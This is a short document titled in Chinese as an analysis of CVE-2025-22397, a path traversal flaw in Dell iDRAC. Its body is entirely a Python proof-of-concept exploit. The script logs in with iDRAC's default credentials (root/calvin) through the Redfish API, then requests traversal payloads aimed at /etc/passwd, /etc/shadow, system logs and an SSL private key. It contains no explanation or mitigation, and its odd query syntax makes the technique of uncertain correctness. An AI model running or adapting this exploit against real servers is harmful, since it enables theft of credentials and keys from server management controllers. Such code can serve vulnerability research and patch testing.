CVE-2025-22397 Dell iDRAC路径遍历漏洞分析

import requests import urllib.parse # CVE-2025-22397 Path Traversal PoC for Dell iDRAC # Target: Dell iDRAC9/iDRAC10 versions prior to patched versions TARGET = "https://<iDRAC-IP>" LOGIN = "root" PASSWORD = "calvin" def exploit_path_traversal(target, session): """ Path traversal exploitation to read arbitrary files from iDRAC filesystem """ # Target files to attempt reading targets = [ "../../../../../../etc/passwd", "../../../../../../etc/shadow", "../../../../../../var/log/messages", "../../../../../../etc/ssl/private/ssl-cert-snakeoil.key" ] headers = { "User-Agent": "Mozilla/5.0", "Accept": "application/json" } for target_file in targets: # Try Redfish API endpoint url = f"{target}/redfish/v1/Managers/Self/LogServices/Logs" encoded_path = urllib.parse.quote(target_file) try: # Attempt path traversal via query parameter response = session.get( f"{url}?$expand=.($sigma=*{encoded_path})", headers=headers, verify=False, timeout=10 ) if response.status_code == 200 and len(response.text) > 0: print(f"[+] Successfully read: {target_file}") print(response.text[:500]) else: print(f"[-] Failed to read: {target_file}") except Exception as e: print(f"[!] Error: {e}") def main(): session = requests.Session() # Login to iDRAC login_url = f"{TARGET}/redfish/v1/SessionService/Sessions" payload = {"UserName": LOGIN, "Password": PASSWORD} try: resp = session.post(login_url, json=payload, verify=False) if resp.status_code == 201: print("[+] Login successful") session.headers.update({"X-Auth-Token": resp.headers.get("X-Auth-Token")}) exploit_path_traversal(TARGET, session) else: print("[-] Login failed") except Exception as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": main()